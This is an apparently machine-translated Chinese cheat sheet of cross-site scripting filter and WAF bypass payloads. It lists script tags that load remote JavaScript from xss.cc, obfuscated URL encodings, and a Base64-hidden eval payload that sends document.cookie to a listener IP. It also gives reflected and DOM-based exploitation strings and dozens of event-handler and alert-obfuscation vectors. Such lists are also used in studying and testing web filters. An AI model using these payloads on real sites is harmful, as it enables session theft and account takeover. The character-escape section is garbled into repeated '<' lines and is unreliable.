这是一个XSS示例,该示例押注了正则表达式不会捕获一对匹配的引号,而是宁愿找到任何引号来不正确地终止参数字符串的事实:
<SCRIPT a=">'>" SRC="httx://xss.cc/xss.js"></SCRIPT>
这个XSS仍然令我担心,因为要在不阻止所有活动内容的情况下几乎不可能停止它:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.cc/xss.js"></SCRIPT>
URL字符串逃避假设以编程方式禁止使用http://www.baidu.com/:
IP与主机名
<A HREF="http://12.113.21.1/">XSS</A>
网址编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
DWORD编码注意:Dword编码还有其他变体-有关更多详细信息,请参见下面的IP模糊处理计算器:
<A HREF="http://1113982867/">XSS</A>
十六进制编码允许的每个数字的总大小在第二个数字上可以看到的总共240个字符左右,并且由于十六进制数在0到F之间,因此不需要在第三个十六进制引号前加零):
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制编码再次允许填充,尽管您必须使每个类的填充总数保持在4个以上字符-如A类,B类等…:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64编码
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
混合编码让我们混合并匹配基本编码,并添加一些标签和换行符-为什么浏览器允许这样做,我永远不会知道)。选项卡和换行符仅在用引号引起来时起作用:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
协议解析绕过//转换为http://,从而节省了更多字节。当空间也是一个问题时,这确实很方便(少两个字符可以走很长一段路),并且可以轻松绕过正则表达式,例如(ht | f)tp(s)?://(感谢Ozh的帮助)。您也可以将//更改为\\\\。您确实需要将斜杠保留在适当的位置,否则,它将被解释为相对路径URL。
<A HREF="//www.google.com/">XSS</A>
Google“感到幸运”的第1部分。Firefox使用Google的“感到幸运”功能将用户重定向到您键入的任何关键字。因此,如果可利用的页面位于某个随机关键字的顶部(如您在此处看到的),则可以对任何Firefox用户使用该功能。它使用Firefox的关键字:协议。您可以使用以下关键字来连接多个关键字:例如XSS + RSnake。从2.0版开始,它不再在Firefox中起作用。
<A HREF="//google">XSS</A>
Google“感到幸运”的第2部分。由于使用了“幸运”功能,因此使用了一个非常小的技巧,似乎只能在Firefox上使用。与下一个不同,这在Opera中不起作用,因为Opera认为这是旧的HTTP Basic Auth网络钓鱼攻击,实际上不是。这只是格式错误的网址。如果在对话框上单击“确定”,它将起作用,但是由于错误的对话框,我说这是Opera所不支持的,并且从Firefox 2.0版开始不再支持:
<A HREF="http://ha.ckers.org@google">XSS</A>
Google“感到幸运”的第3部分。这使用了格式错误的URL,该URL似乎仅在Firefox和Opera中可用,因为如果实现了“感觉幸运”功能。与上述所有方法一样,它要求您在相关关键字(在本例中为“ google”)中在Google中排名第一:
<A HREF="http://google:ha.ckers.org">XSS</A>
删除CNAME与上述网址结合使用时,请删除“ www”。将对此设置正确的服务器另外节省4个字节,总共节省9个字节):
<A HREF="http://google.com/">XSS</A>
DNS的额外点:
<A HREF="http://www.google.com./">XSS</A>
JavaScript链接位置:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
内容替换为攻击媒介假设以编程方式将http://www.google.com/替换为空)。实际上,我通过使用转换过滤器本身(这里是一个示例)对几个独立的现实世界XSS过滤器使用了类似的攻击向量,以帮助创建攻击向量(即:java:\&#x09; script:已转换为Java脚本:, 可以在IE,Netscape 8.1+中以安全站点模式和Opera呈现):
<A HREF="http://www.google.com/ogle.com/">XSS</A>
字符转义序列HTML和JavaScript中字符“ <”的所有可能组合。如上所示,其中大多数都不会开箱即用地呈现,但是许多可以在某些情况下呈现。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
&
#x000
003c
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
绕过WAF的方法–跨站点脚本一般问题
•存储的XSS
如果攻击者设法将XSS推送通过过滤器,则WAF将无法阻止攻击进行。
•Javascript中反映的XSS
Example: <script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
基于DOM的XSS
Example: <script> ... eval($\_GET\[xss\]); ... </script>
Exploitation: /?xss=document.cookie
通过请求重定向的XSS。•易受攻击的代码:
...
header('Location: '.$_GET['param']);
...
以及:
...
header('Refresh: 0; URL='.$_GET['param']);
...
•此请求不会通过WAF:
/?param=<javascript:alert(document.cookie>)
•该请求将通过WAF,并且将在某些浏览器中进行XSS攻击。
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
XSS的WAF旁路字符串。
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
筛选器Bypass警报混淆
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)